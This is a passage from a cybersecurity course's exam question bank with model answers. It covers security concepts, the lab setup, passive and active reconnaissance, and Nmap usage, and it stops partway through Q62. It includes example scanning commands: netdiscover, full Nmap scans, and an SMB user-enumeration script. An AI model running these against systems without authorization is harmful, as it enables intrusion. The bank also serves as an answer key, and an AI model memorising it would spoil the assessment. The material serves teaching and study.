

Cybersecurity Exam

Short Answer / Essay Question Bank

Lectures 1-11 & Labs 1-9

Open-Book Exam Preparation

Exam Format: 50 Questions Total (35 MCQ/MAQ + 15 Short Essay)

This document covers the Short Essay component only.

Total questions: 283 with model answers.

Table of Contents

PART 1: LECTURE 1 & LAB 1 (40 Questions)

Core Definitions & Concepts (Q1-Q8)

Attack Surface, Vectors & Defense-in-Depth (Q9-Q14)

Security Review & Engineering (Q15-Q20)

Authentication, Authorization, Controls & Assets (Q21-Q24)

Security Repositories, Standards & Legal (Q25-Q27)

Tools & Ethical Use (Q28-Q29)

Lab Setup & VirtualBox (Q30-Q34)

Linux Commands & Scenario Questions (Q35-Q40)

PART 2: LECTURE 2 & LAB 2 (36 Questions)

Vulnerability Assessment Fundamentals (Q41-Q46)

Reconnaissance -- Passive vs Active (Q47-Q52)

Nmap Scanning & Interpretation (Q53-Q64)

Automated Scanners & Web Tools (Q65-Q69)

Validation, Reporting & Lab 2 Scenarios (Q70-Q76)

PART 3: LECTURE 3 & LAB 3 (24 Questions)

Penetration Testing Fundamentals (Q77-Q82)

Netcat -- Pipes, Shells & File Transfer (Q83-Q86)

Metasploit Framework (Q87-Q89)

Lab Exploitation Cases & Post-Exploitation (Q90-Q96)

MSFvenom & Payloads (Q97-Q100)

PART 4: LECTURE 4 (Lecture Only) (24 Questions)

Firewall Fundamentals (Q101-Q103)

Packet Filters & ACLs (Q104-Q108)

Gateways, DMZ, VPN & Architecture (Q109-Q113)

IDS & IPS (Q114-Q120)

Incident Response & Key Distinctions (Q121-Q124)

PART 5: LECTURE 5 & LAB 5 (26 Questions)

Malware Fundamentals & Terminology (Q125-Q127)

Virus Families, Evasion & Propagation (Q128-Q131)

Ransomware, Trojans, Spyware & Rootkits (Q132-Q135)

Malware Detection & Safe Analysis (Q136-Q138)

SQL Injection Foundations & Mechanics (Q139-Q144)

SQL Injection Defenses & Lab 5 (Q145-Q150)

PART 6: LECTURE 6 & LAB 6 (27 Questions)

DoS & DDoS Fundamentals (Q151-Q155)

Historical DoS Attacks & Mitigation (Q156-Q160)

Brute Force Attacks (Q161-Q166)

Lab 6 DoS & Social Engineering Scenarios (Q167-Q177)

PART 7: LECTURE 7 (Lecture Only) (22 Questions)

Social Engineering Foundations & Attack Methods (Q178-Q180)

Social Engineering Attack Lifecycle & OSINT (Q181-Q184)

Pretexts, Persuasion & Decision-Making (Q185-Q187)

Ethical Social Engineering Assessment (Q188-Q188)

Phishing Workflows & Impact (Q189-Q191)

Email Trust, URL Deception & Spoofing (Q192-Q194)

Phishing Detection, Awareness & Response (Q195-Q199)

PART 8: LECTURE 8 & LAB 8 (20 Questions)

Why Threat Modeling & Choosing a Perspective (Q200-Q202)

Modeling the System -- DFDs, Trust Boundaries & State (Q203-Q205)

STRIDE Threat Categorization (Q206-Q209)

Attack Trees (Q210-Q210)

Addressing Threats -- Four Strategies (Q211-Q212)

Threat Prioritization (Q213-Q214)

Validation, Lab 8 STRIDE & Key Distinctions (Q215-Q219)

PART 9: LECTURE 9 & LAB 9 (29 Questions)

Cryptography Purpose & Categories (Q220-Q221)

Classical Ciphers -- Caesar, Vigenere, Enigma (Q222-Q223)

Symmetric Block Ciphers -- DES & AES (Q224-Q225)

One-Time Pad & Authenticated Encryption (Q226-Q227)

Public-Key Cryptography -- RSA & ElGamal (Q228-Q231)

Standardization, Common Pitfalls & Lab 9 (Q232-Q236)

Additional Cryptography Questions (Q237-Q248)

PART 10: LECTURE 10 (Lecture Only) (16 Questions)

MPC Fundamentals & Motivation (Q249-Q251)

Secret Sharing & Boolean XOR Protocol (Q252-Q254)

Beaver Triples & Secure AND Gates (Q255-Q257)

MPC Architecture, Applications & Security Models (Q258-Q260)

Historical Context, Threshold Crypto & Comparisons (Q261-Q264)

PART 11: LECTURE 11 (Lecture Only) (19 Questions)

Privacy, Confidentiality & Data Protection (Q265-Q266)

GDPR Purpose, Scope & Key Concepts (Q267-Q271)

Privacy Engineering, LINDDUN & De-identification (Q272-Q276)

GDPR Rights, Architecture & Incident Response (Q277-Q279)

Key Distinctions & Comparisons (Q280-Q283)

EXAM PRIORITY GUIDE

PART 1: LECTURE 1 & LAB 1

Chapter 01: Introduction and Lab Set-up

Core Definitions & Concepts

Q1: Define cybersecurity and explain how it differs from information security.

Model Answer:

Cybersecurity is the body of technologies, processes, and practices designed to protect networks, computers, programs, digital assets, and data -- whether processed, stored, or in transit -- from attack, damage, or unauthorized access. It includes more than technology: processes such as patch management, access review, incident response, and training are also part of cybersecurity.

Information security is broader, concerned with protecting information in any form including non-digital records (e.g., paper personnel files). Cybersecurity is a subset focusing on digital systems, networks, software, devices, and electronically processed or communicated information.

Q2: Explain the CIA triad. For each goal, provide a definition, a control example, and a violation example.

Model Answer:

Confidentiality: Preventing disclosure to unauthorized parties. Control: encryption and access control. Violation: outsider reads customer records; credentials leak; traffic intercepted.

Integrity: Protecting information from unauthorized modification. Control: digital signatures, checksums, audit logs. Violation: transaction altered; code modified; configuration changed without approval.

Availability: Ensuring authorized parties can access information and services when needed. Control: redundancy, backups, mitigation strategies, failover. Violation: DDoS overwhelms service; ransomware blocks access; disk failure destroys only copy.

A complete security design requires controls for all three because one mechanism rarely protects every goal.

Q3: Define and differentiate risk, vulnerability, threat, exploit, attack, patch, and countermeasure. Illustrate with one coherent example.

Model Answer:

Vulnerability: A weakness in a system. **Threat:** A potential circumstance that may exploit a vulnerability. **Exploit:** A method taking advantage of the vulnerability. **Attack:** The actual attempt using that method. **Risk:** How much the situation threatens the entity, considering likelihood and impact. **Patch:** A software update correcting a weakness. **Countermeasure:** Any control reducing attack success or impact.

Example: An internet-facing service runs an outdated component (vulnerability). Attackers target such services (threat). A proof-of-concept script exists (exploit). The attacker runs it (attack). Risk depends on exposure and business importance. The vendor releases a fix (patch). Additional countermeasures include restricting exposure, monitoring, least privilege, and backups.

Q4: Explain five commonly confused pairs: threat vs vulnerability, exploit vs attack, patch vs countermeasure, risk vs vulnerability, attack vector vs attack surface.

Model Answer:

(a) Threat vs vulnerability: A threat is a potential harmful event. A vulnerability is the weakness that could be exploited.

(b) Exploit vs attack: An exploit is the method/technique. An attack is the actual use of that method against a target.

(c) Patch vs countermeasure: A patch fixes a specific vulnerability. A countermeasure is broader -- any control that prevents, detects, limits, or helps recover from attacks.

(d) Risk vs vulnerability: A vulnerability is a weakness. Risk reflects how much that weakness matters in context -- exposure, likelihood, impact.

(e) Attack vector vs attack surface: A vector is one route. The attack surface is the combined set of all vectors (surface = sum of vectors).

Q5: What is the NIST-oriented definition of cybersecurity?

Model Answer:

'Measures and controls that ensure confidentiality, integrity, and availability of information system assets including hardware, software, firmware, and information being processed, stored, and communicated.' This complements the general definition by explicitly covering hardware, software, and firmware, framing cybersecurity through CIA goals, and emphasizing active, ongoing measures rather than a one-time product.

Q6: Explain the three data states: in transit, at rest, and processed. Why is it important to protect data in all three states?

Model Answer:

In transit: Data moving over a network -- between client and server, between services, or across the internet. Protected by TLS/SSL, VPNs, encrypted protocols. Vulnerable to interception, MITM attacks.

At rest: Data stored on disk, database, backup media, or removable storage. Protected by disk encryption, access controls, secure disposal. Vulnerable to theft, unauthorized access, ransomware.

Processed: Data actively used in memory, applications, or computation. Protected by memory protections, secure coding, process isolation. Vulnerable to memory scraping, side-channel attacks.

Protection in all three states is essential because data transitions between states constantly. Encrypting data at rest is useless if it's transmitted in cleartext. Secure transmission is useless if the stored copy has no access controls. Each state has different threat models requiring different controls.

Q7: Explain secure-by-design with a practical example. Why is it more effective than adding security after implementation?

Model Answer:

Secure-by-design means making security a design requirement from the beginning. Example for a web app: minimize privileges per component, reduce exposed interfaces, validate all inputs at design level, use safe defaults (encryption on, accounts locked down), build in logging from the start.

More effective because: retrofitting is often incomplete; some architectural decisions can't be changed without rebuilding; bolted-on controls miss trust boundaries never considered; and it's cheaper and more reliable to build security into the foundation.

Q8: A hospital wants to begin a security review. Outline the approach using the five framing questions.

Model Answer:

(1) What to protect? Patient records, clinical networks, staff devices, applications. (2) How to protect? CIA triad: encrypt data, strict access control, audit logs, redundancy, backups. (3) Where attacked? Map attack surface: network (exposed services), software (web interfaces, APIs), human (staff phishing targets). (4) How to mitigate? Defense-in-depth: segment network, patch, MFA, SIEM monitoring, train staff, vulnerability assessments. (5) Worst case? Incident response: containment, investigation, regulatory notification (HIPAA/GDPR), recovery, improvement.

Attack Surface, Vectors & Defense-in-Depth

Q9: What is an attack surface? How does it relate to attack vectors? Describe the three main categories.

Model Answer:

The attack surface is the sum of all points where an attacker could try to enter, interact with, or extract data from a system. An attack vector is one route. Attack surface = sum of all attack vectors.

Three categories: (1) **Network:** Exposed ports, remote services, wireless access, insecure protocols, misconfigured firewall rules. (2) **Software:** Vulnerabilities in application/OS code -- web forms, APIs, parsers, dependencies, update mechanisms. (3) **Human:** Social engineering, human error, trusted insiders who hold credentials and make decisions.

Q10: Describe the attacker, operator, and designer perspectives on the attack surface.

Model Answer:

Attacker: Expand the exposed interface -- find more reachable services, paths, users, assumptions to abuse. **Operator:** Limit the surface -- disable unnecessary services, restrict access, segment networks, patch, monitor, maintain recovery. **Designer:** Build secure defaults, least privilege, clear trust boundaries, safe input handling, manageable updates, and observable behavior into the architecture.

Q11: Explain defense-in-depth and the risk matrix combining attack surface size and layering depth.

Model Answer:

Defense-in-depth uses multiple independent security layers so one failure doesn't compromise everything.

Risk matrix: Deep+Small = Low risk (preferred). Deep+Large = Medium (layering helps but complexity increases). Shallow+Small = Medium (fewer paths but one failure is serious). Shallow+Large = High risk (worst -- many paths, insufficient layers).

Examples: reduce exposure, patch, strong authentication, least privilege, segmentation, monitoring, backups, incident response.

Q12: Give five concrete examples of reachable/exploitable areas forming an attack surface.

Model Answer:

(1) Open ports on outward-facing servers and code listening on them. (2) Services inside a firewall -- internal exposure matters because attackers or insiders may gain internal access. (3) Code processing incoming data -- email, XML, office documents -- every parser is a possible input-validation boundary. (4) Interfaces, SQL, web forms -- user input reaching application logic and databases. (5) Employees with access to sensitive information vulnerable to social engineering.

Q13: The lecture states 'depending on the type of access, no software vulnerability may be needed.' Explain this and social engineering's role.

Model Answer:

Direct access bypasses software security assumptions. Physical access to a device, valid credentials, or trusted internal access can reach sensitive resources without exploiting coding bugs.

Social engineering is often a first step -- attackers send emails to trick people into revealing credentials, clicking links, or approving unsafe actions. Human interaction and identity verification are part of the attack surface. Defenses: awareness training, verification procedures, reporting channels, attachment controls, least privilege.

Q14: Explain the concept of 'security is iterative.' What are the five framing questions that guide all security work?

Model Answer:

Security threats, technologies, and dependencies evolve constantly. Security work is iterative: assess, improve, monitor, respond, learn, and repeat. A one-time assessment does not guarantee ongoing security.

Five framing questions: (1) What do we want to protect? (2) How should it be protected safely? (3) Where and how can it be attacked? (4) How can attacks be mitigated? (5) What should happen when the worst case occurs?

There is no silver bullet -- one product/control cannot solve every problem. Security is domain-specific (different for a web shop vs hospital vs industrial system) and requires procedures and best practices to be repeatable.

Security Review & Engineering

Q15: What should a security review examine? Why is checking for a security product insufficient?

Model Answer:

Review: Networks (encrypted? insecure protocols disabled? segmentation appropriate?), Desktops (OS patched? software authorized?), Mobile (updates? encryption?), Storage (where? encryption? recovery?).

A security product alone is insufficient because a secure product can become insecure if architecture, configuration, updates, access rules, monitoring, recovery plan, and user behavior don't work together. Security is a system property, not a product checkbox.

Q16: Name and explain the four broad causes of security issues.

Model Answer:

(1) **Simple bugs:** Coding mistakes or firmware defects creating unexpected behavior. (2) **Misconfiguration:** Secure product becomes insecure with wrong permissions, default credentials, or settings. (3) **Complexity/interconnectedness:** System secure in isolation but unsafe when combined with other components. (4) **Human factors:** People click links, handle credentials, make design choices, and can be manipulated.

Q17: Explain 'the cybersecurity crisis is a fundamental failure of architecture.' What approaches counter this?

Model Answer:

Security is often considered too late -- after deployment. Adding controls afterward is less effective.

Approaches: (1) Secure-by-design -- minimize privileges, reduce interfaces, validate inputs, safe defaults. (2) Best practices and policies. (3) Checks for known bad patterns -- code review, static analysis, scanning. (4) Defense-in-depth. (5) Training and awareness. (6) Continuous learning -- security is iterative.

Q18: List the six major security activities and what question each answers.

Model Answer:

(1) **Vulnerability assessment** -- 'What weaknesses exist?' (2) **Penetration testing** -- 'Can weaknesses be exploited?' (3) **Threat modeling** -- 'What can go wrong?' (4) **Security monitoring** -- 'What suspicious behavior can be observed?' (5) **Incident response** -- 'What happens when a breach occurs?' (6) **Hardening** -- 'How can exposure be reduced?'

Q19: Using the lecture's real-world examples (drones near infrastructure, Danish energy attacks, water infrastructure, hosting ransomware), explain why cybersecurity has physical and operational consequences.

Model Answer:

Modern systems are cyber-physical, interconnected, and operationally important. Drones near infrastructure show the physical-digital security connection. Coordinated attacks on 22 Danish energy firms disrupted essential services (availability/integrity). Water-infrastructure incidents show industrial

systems need protection beyond office IT (availability/integrity/safety). Hosting-provider ransomware showed customer dependency on providers and importance of backups, segmentation, and recovery (availability/confidentiality/integrity).

Key lesson: cybersecurity affects essential services, business continuity, public safety, and physical infrastructure. Security must be designed, maintained, monitored, and improved continuously.

Q20: An organization uses both cloud-hosted and self-hosted services. How does this affect the attack surface?

Model Answer:

Cloud services introduce dependencies on provider security, shared responsibility models, and new network paths. Self-hosted requires managing patching, configuration, physical security directly. The combination creates additional vectors: data flows between environments, cross-boundary authentication, different security models to coordinate.

Considerations: verify data locations, ensure both environments patched, understand shared responsibility, segment networks, monitor both, ensure compromise in one doesn't cascade.

Authentication, Authorization, Controls & Assets

Q21: Differentiate authentication, authorization, and access control with a scenario.

Model Answer:

Authentication: verifies identity -- 'Who are you?' (password + MFA). **Authorization:** decides permitted actions -- 'What can you do?' **Access control:** enforces the authorization decision (permissions, roles, firewall rules).

Scenario: Student logs in with credentials + one-time code (authentication). System determines student role allows reading files but not editing grades (authorization). File server permissions deny write access to grade directories (access control).

Q22: Map a university file server scenario across all three CIA goals with violations and controls.

Model Answer:

Confidentiality: Only authorized users read correct files. Violation: unauthorized access to private submissions. Controls: access control lists, encryption, authentication. **Integrity:** No unauthorized modifications. Violation: student modifies another's assignment. Controls: checksums, audit logs, authorization checks. **Availability:** Server usable during deadlines, recoverable after failure. Violation: DDoS before deadline; disk failure. Controls: redundancy, backups, capacity planning, failover.

Q23: What three reinforcing trends make cybersecurity increasingly necessary?

Model Answer:

(1) Increasing information sharing -- more data exchanged. (2) Increasing interconnectedness -- more dependencies. (3) Increasing vulnerabilities and exploits -- more attack paths. They compound: more systems exchanging more data through more dependencies means a weakness in one component has wider consequences.

Q24: What are the four asset categories that cybersecurity must protect? Which is described as 'most important' and why?

Model Answer:

(1) **Networks:** All networks interconnecting digital assets -- local, wireless, internet links, VPNs, virtual networks. (2) **Systems and devices:** Servers, desktops, laptops, mobile, embedded, operational technology. (3) **Programs:** Applications, services, libraries, scripts, firmware, dependencies, configuration, source code. (4) **Data:** Whether in transit, at rest, or processed.

Data is described as 'most important' because networks, systems, and programs exist to serve data. The primary unwanted outcomes are unauthorized access, modification, and deletion of data, which map directly to the CIA triad. While protecting infrastructure is essential, the ultimate goal is protecting the information it handles.

Security Repositories, Standards & Legal

Q25: Describe CVE, CWE, MITRE ATT&CK;, and OWASP with their distinct purposes.

Model Answer:

CVE: Standardized identifiers for specific disclosed vulnerability instances. **CWE:** Categorizes recurring weakness types/patterns. **MITRE ATT&CK;:** Organizes adversary tactics and techniques from real operations. **OWASP:** Application-security guidance, testing resources, awareness material.

Key: CVE = specific instance, CWE = class/pattern, ATT&CK; = adversary behavior, OWASP = application security guidance.

Q26: Name the four standards organizations and their roles.

Model Answer:

- (1) **NIST** -- security guidance, frameworks, standards, glossaries for risk management.
- (2) **ISOC** -- supports internet development and standards.
- (3) **ITU-T** -- international telecommunications standards.
- (4) **ISO** -- international standards including information-security management.

Q27: Name three legal/regulatory examples and explain why legal awareness matters.

Model Answer:

- (1) **HIPAA (1996):** US law for protected health information.
- (2) **GDPR (2018):** EU regulation for personal-data processing with security/privacy/incident implications.
- (3) **Computer Security Act of 1987/1992:** US federal computer-security legislation.

Legal awareness matters because cybersecurity operates within legal constraints. Authorization and data protection are not optional. A reachable service or public exploit does NOT authorize testing.

Tools & Ethical Use

Q28: Distinguish vulnerability assessment tools, penetration testing tools, and monitoring tools with examples.

Model Answer:

Vulnerability assessment: Discover and prioritize weaknesses. Examples: Nessus, OpenVAS/GVM.

Penetration testing: Investigate exploitability and impact. Examples: Metasploit, Burp Suite.

Monitoring: Detect suspicious activity during operation. Examples: Snort (IDS/IPS), Wazuh (SIEM).

Q29: What are the ethical boundaries for cybersecurity tools? Why is ethical hacking NOT defined by the tool?

Model Answer:

Principles: (1) Permission before testing. (2) Scope control. (3) Minimize harm. (4) Protect evidence/data. (5) Stop and report if unexpected. (6) Personal responsibility.

Ethical hacking is NOT defined by the tool -- the same tool can be used ethically or illegally. It is defined by authorization, scope, controlled methods, harm minimization, and responsible reporting.

Lab Setup & VirtualBox

Q30: Describe the lab architecture and roles of Kali, Metasploitable 2, and Metasploitable 3.

Model Answer:

VirtualBox with three VMs: **Kali Linux** -- Debian-based pen-testing distribution (tester). **Metasploitable 2 (Linux)** -- intentionally vulnerable target. **Metasploitable 3 (Windows)** -- intentionally vulnerable target.

Safety: vulnerable targets must remain isolated (Host-only/Internal). Never expose to external networks. Update Kali regularly; keep targets outdated as designed.

Q31: Compare all five VirtualBox networking modes. Which are safest for vulnerable VMs?

Model Answer:

Host-only: VM<->Host Yes, VM<->VM Yes, Internet No. Internal: VM<->Host No, VM<->VM Yes, Internet No. Bridged: All Yes. NAT: VM<->Host No, VM<->VM No, Out Yes, In port-forward. NAT Network: VM<->Host No, VM<->VM Yes, Out Yes, In port-forward.

Safest: Host-only or Internal. Bridged is riskiest -- VM becomes a node on the local network exposing vulnerable targets to all devices.

Q32: Explain the difference between NAT and NAT Network modes.

Model Answer:

NAT: VM hidden behind host. Traffic appears from host. VMs cannot communicate with each other. Inbound requires port forwarding.

NAT Network: Assigned VMs share a virtual private network. VMs CAN communicate with each other. Outbound internet access. Key difference: NAT isolates each VM; NAT Network lets assigned VMs see each other.

Q33: Why should Kali be updated regularly but Metasploitable targets kept outdated?

Model Answer:

Kali needs latest tools and patches for effective assessment. Update: apt update, apt full-upgrade, apt autoremove. Metasploitable targets are intentionally vulnerable -- updating removes the weaknesses students must discover. Update the assessment environment; preserve controlled vulnerabilities.

Q34: Describe the complete lab readiness checklist with reasoning behind each step.

Model Answer:

(1) Confirm VMs exist separately (Kali, MS2, MS3). (2) Set Host-only or Internal networking BEFORE powering on targets -- reachability is a security control. (3) Don't expose vulnerable targets externally. (4) Change default kali/kali password. (5) Update Kali regularly. (6) Keep targets outdated. (7) Verify context with pwd and ip a at session start. (8) Record changes for VM restoration.

Each step has security reasoning: networking mode directly changes attack surface, default passwords are publicly known, and verifying context prevents mistakes in the wrong directory or network.

Linux Commands & Scenario Questions

Q35: Explain: pwd, touch, cp, mv, rm, rm -r, grep, strings, ip a.

Model Answer:

pwd -- print working directory. **touch** -- create empty file or update timestamp. **cp** -- copy file. **mv** -- move/rename. **rm** -- remove file (irreversible). **rm -r** -- recursively remove directory (high-risk). **grep** -- search for text in files. **strings** -- extract printable strings from binary. **ip a** -- display network interface and IP info.

Q36: What commands update Kali Linux?

Model Answer:

(1) **apt update** -- refresh package metadata. (2) **apt full-upgrade** -- upgrade packages with dependency changes. (3) **apt autoremove** -- remove unneeded packages. Sequence: update -> full-upgrade -> autoremove.

Q37: A student discovers Metasploitable is reachable from campus network via Bridged mode. What risks exist and what should they do?

Model Answer:

Risks: Campus devices can reach the vulnerable VM. Automated bots could exploit known vulnerabilities. Compromised VM could pivot to attack campus systems. Violates ethical principles of scope control and minimize harm.

Action: Stop the VM immediately. Report to instructor. Switch to Host-only or Internal before restarting. Verify networking mode before powering on vulnerable targets. This follows: 'If behavior is unexpected or risky, stop and escalate rather than improvise.'

Q38: Compare the types of attacks (ransomware, MITM, DDoS, phishing, drive-by downloads, malvertising, password attacks, malware) and their primary CIA concerns.

Model Answer:

Ransomware: Availability (also C, I when data stolen). MITM: Confidentiality and Integrity. Drive-by downloads: Integrity of device. Malvertising: Integrity and Confidentiality. Rogue software: all CIA. DDoS: Availability. Password attacks: Confidentiality and Integrity. Phishing: Confidentiality and Integrity. Malware: any/all CIA.

Most attacks affect multiple CIA goals. DDoS is most purely availability-focused.

Q39: What is Kali Linux? Describe its purpose, origin, and why it should not be used as a desktop OS.

Model Answer:

Kali is a Debian-based distribution designed for penetration testing. Open-source, maintained by Offensive Security. Since 2020.1 uses non-root policy with default kali/kali credentials (change after setup). Use **sudo -i** for root shell.

Not intended as desktop OS -- specialized pen-testing toolbox with potentially dangerous tools, not optimized for general use.

Q40: Explain the purpose of the commands: **sudo -i**, **dpkg-reconfigure keyboard-configuration**, **setxkbmap**.

Model Answer:

sudo -i: Start a root shell using sudo authorization. Use elevated privileges only when necessary. **dpkg-reconfigure keyboard-configuration**: Permanently reconfigure keyboard settings when VM layout doesn't match physical keyboard. **setxkbmap en_US / setxkbmap dk**: Temporarily switch GUI keyboard layout at runtime. Useful for matching the local keyboard.

PART 2: LECTURE 2 & LAB 2

Chapter 02: Vulnerability Assessment

Vulnerability Assessment Fundamentals

Q41: What is a vulnerability assessment? What is its core limitation?

Model Answer:

A vulnerability assessment examines a running system to determine how well it resists misuse, attack, or failure. It is authorized and scoped.

Core limitation: Passing does not prove no vulnerabilities exist. Constrained by scope, time, credentials, tool coverage, system state, tester knowledge, and undiscovered weaknesses. Testing complements secure design, threat modeling, monitoring, and incident response.

Q42: Compare vulnerability assessment, penetration testing, and threat modeling.

Model Answer:

Vulnerability assessment: 'What weaknesses are present?' Inventory, reconnaissance, scans, verification. Output: prioritized findings with remediation.

Penetration testing: 'Can weaknesses be exploited for realistic impact?' Controlled proof of concept. Output: impact-focused report with attack paths.

Threat modeling: 'What can go wrong in the design?' Define assets, identify threats, reason about misuse. Output: structured model of threats and mitigations.

They overlap: assessment is often part of pentesting. Threat modeling informs scope. Exploitation is not required to justify remediation.

Q43: Describe the six steps of an authorized assessment workflow.

Model Answer:

(1) **Permission and scope:** Legal/operational authority. Which IPs, domains, dates, techniques? What's excluded? (2) **Information gathering:** Map target environment. (3) **Threat modeling:** Relate scope to assets, boundaries, attack paths. (4) **Vulnerability analysis:** Connect observations to weaknesses. Does version match a CVE? (5) **Controlled proof of concept:** Demonstrate impact only when permitted. (6) **Reporting and remediation:** Evidence, impact, priority, fixes.

Q44: Explain severity vs risk. Why doesn't CVSS alone determine prioritization?

Model Answer:

Severity describes technical characteristics (CVSS score). Risk includes asset value, exposure, likelihood, impact, and existing controls.

CVSS alone is insufficient because a medium-severity issue on an internet-facing identity service may deserve faster action than a high-severity issue on an isolated decommissioning host. Consider: exposure, asset criticality, exploitability, impact on CIA, prevalence, detectability, and remediation cost.

Q45: What is the difference between an open port and a vulnerability?

Model Answer:

An open port indicates a process is listening -- evidence to investigate, not a verdict. NOT automatically a vulnerability.

Not a problem: Port 22 for intentional SSH with strong auth. Becomes a problem when: SSH is outdated with known CVE; password auth exposed to untrusted network without rate limiting; service is unnecessary. The evidence chain: confirm scope -> identify protocol/product/version -> research CVEs -> determine prerequisites -> validate safely -> report.

Q46: What four types of information should be collected during the information-gathering phase?

Model Answer:

(1) **IP addresses and ranges:** Define reachable assets and boundaries. Follow up: ownership, reverse DNS, scope verification. (2) **Personal/organizational info:** Roles, technology use, social-engineering exposure. Handle carefully; confirm necessity. (3) **DNS and registration records:** Domain-to-IP mappings, nameservers, mail systems. Use whois, host, nslookup. (4) **Public-domain information:** Historical endpoints, forgotten services, technologies. Review websites, archives, job ads.

Investigation turns raw collection into questions: Which hosts are up? Which ports open? Which services running? What versions? What's the network structure?

Reconnaissance -- Passive vs Active

Q47: Compare passive and active reconnaissance.

Model Answer:

Passive: Gather information without probing target. Sources: websites, public resources, archives, Netcraft, Shodan. Obtains volunteered/indexed info. Usually lower interaction but NOT automatically risk-free or authorized.

Active: Directly probe target. Tools: whois, DNS, NetDiscover, Nmap, Nessus, GVM, Burp Suite. Obtains live host status, ports, versions, OS clues. More detectable, potentially disruptive -- requires explicit scope.

Passive != harmless/anonymous/authorized. Active != malicious, but means interacting with the target.

Q48: Describe five passive reconnaissance sources.

Model Answer:

(1) **Organization website:** Domains, subdomains, login portals, technology clues. (2) **Discussion boards/chat rooms:** Operational problems, technology names. (3) **Job advertisements:** Languages, platforms, cloud services. (4) **Historical archives (Wayback Machine):** Removed pages, old URLs, downloadable files. (5) **Shodan:** Indexed banners, ports, certificates. A search result does NOT authorize testing.

Q49: Explain whois, host, and nslookup for reconnaissance.

Model Answer:

whois example.com: Domain-registration info -- registrar, dates, nameservers, contacts. **whois [IP]:** IP/network block registration. **host example.com:** Concise DNS lookup. **nslookup example.com:** DNS query for record types.

Registration data concerns ownership; DNS answers describe name resolution. They are complementary sources for mapping domains, addresses, and infrastructure.

Q50: What is Shodan? What cautions apply when using it for reconnaissance?

Model Answer:

Shodan indexes internet-connected systems and services. Filters by port, country, organization. Shows service banners, certificates, metadata.

Cautions: (1) Port number suggests protocol but doesn't prove exact service/security state. (2) Geolocation can be inaccurate. (3) Banners may be stale or modified. (4) Certificates reveal naming patterns but don't prove ownership. (5) Most importantly: a search result showing exposure does NOT authorize login, exploitation, scanning, or brute force. Public index is not permission.

Q51: Explain NetDiscover and EtherApe for active discovery.

Model Answer:

NetDiscover: Local-network host discovery via ARP. Example: `netdiscover -r 192.168.1.0/24 -f`. Discovers hosts, IPs, MACs. Risk: can disrupt fragile systems.

EtherApe: Graphical traffic monitoring with protocol color coding. Supports link-layer, IP, TCP views. Can replay captured traffic. Helps visualize communication relationships and focus analysis with filtering.

Q52: Describe the tool-selection summary: what is each tool best at?

Model Answer:

Netcraft: Passive website/infrastructure intelligence. **Wayback Machine:** Historical web snapshots, forgotten paths. **Shodan:** Indexed internet exposure, banners. **whois/host/nslookup:** Registration and DNS mapping. **NetDiscover:** Local-network host discovery. **EtherApe:** Graphical traffic observation. **Nmap:** Host discovery, port scanning, service/OS detection, NSE scripts. **Legion:** Assessment automation/orchestration. **Burp Suite / OWASP ZAP:** Web application proxying and testing. **GVM/OpenVAS and Nessus:** Automated vulnerability assessment.

Each tool serves a different purpose. No single tool covers everything.

Nmap Scanning & Interpretation

Q53: What is Nmap and what layered questions does it answer?

Model Answer:

Nmap (Network Mapper) is a free, open-source tool for network discovery and security auditing. Layered questions: (1) Is the host reachable? (2) Which ports respond? (3) What service is listening? (4) Which version/OS clues exist? (5) What do observations imply about exposure and vulnerabilities? Raw output requires interpretation.

Q54: Explain host discovery vs port scanning in Nmap.

Model Answer:

Host discovery reduces targets to active addresses. Options: -sn (discovery only), -Pn (skip discovery, assume all up), -PE (ICMP echo), -PS/-PA (TCP SYN/ACK probes), -PU (UDP).

Port scanning investigates endpoints on discovered hosts. Options: -sS (SYN), -sT (connect), -sF/-sN/-sX (FIN/NULL/Xmas), -sU (UDP).

Disabling discovery (-Pn) increases work dramatically. Disabling port scan (-sn) only finds alive hosts. A silent host may still exist (firewall filtering probes).

Q55: Compare TCP SYN scan (-sS) and TCP Connect scan (-sT).

Model Answer:

SYN (-sS): Half-open -- sends SYN, interprets reply without completing connection. Faster, less application-visible, requires root. Still detectable by IDS.

Connect (-sT): Full TCP handshake via OS connect(). Reliable but easy to detect/log. Used when no root access.

Use SYN when: root available, speed matters. Use Connect when: no root, scanning through proxies.

Q56: Explain FIN, NULL, and Xmas scans. Their usefulness and limitation.

Model Answer:

Use unusual TCP flag combinations. Closed ports return RST; open ports remain silent. **FIN (-sF):** TCP FIN. **NULL (-sN):** No flags. **Xmas (-sX):** FIN+PSH+URG.

Useful: can pass through simple non-stateful filters. Limitation: silence is ambiguous (open|filtered). Modern defenses detect them. Some OSes don't respond as expected.

Q57: Describe the six Nmap port states.

Model Answer:

(1) **open**: Application accepting connections. (2) **closed**: Host reachable, no app listening. (3) **filtered**: Can't determine -- firewall blocking. (4) **unfiltered**: Reachable but scan can't determine open/closed (ACK scan). (5) **open|filtered**: Can't distinguish open from filtered (UDP/FIN/NULL/Xmas). (6) **closed|filtered**: Can't determine closed vs filtered (idle scan).

Q58: Interpret: nmap -sS -sV -A -p- [IP] -v -oN scan-results.txt

Model Answer:

-sS: TCP SYN scan. -sV: Service/version detection. -A: Advanced bundle (OS detection, version, scripts, traceroute -- overlap with -sV is redundant but harmless). -p-: All ports 1-65535. [IP]: Authorized target. -v: Verbose. -oN: Normal output to file.

Comprehensive scan -- takes time, generates substantial traffic, easily detected by IDS. Provides complete picture of ports, services, versions, and OS.

Q59: What is NSE? Give an example and cautions.

Model Answer:

NSE (Nmap Scripting Engine) extends Nmap with scripted modules for discovery, enumeration, vulnerability checks. Scripts in /usr/share/nmap/scripts.

Example: nmap --script smb-enum-users -p 445 [target] -- SMB user enumeration.

Cautions: Scripts can be more intrusive than basic scans. Read --script-help before execution. Only use when scope permits. Script selection matters -- some modify target state.

Q60: Explain the difference between -sV, -O, and -A in Nmap.

Model Answer:

-sV: Service/version detection -- probes ports to identify applications and versions. Stronger than port-number assumption. -O: OS detection via network-stack fingerprinting. Output is inference, not infallible. Requires root. -A: Advanced bundle enabling OS detection, version detection, script scanning, and traceroute. NOT the same as timing template -T4/-T5. Has overlap with -sV (redundant but harmless).

Q61: What are the Nmap output formats and when would you use each?

Model Answer:

-oN: Normal human-readable. For review and evidence. -oX: XML. For programmatic parsing. -oG: Grepable (deprecated, prefer XML). -oA: All three simultaneously. Best practice for evidence retention. Always retain scan output for analysis and reporting.

Q62: What are the quick triage questions for any discovered service?

Model Answer:

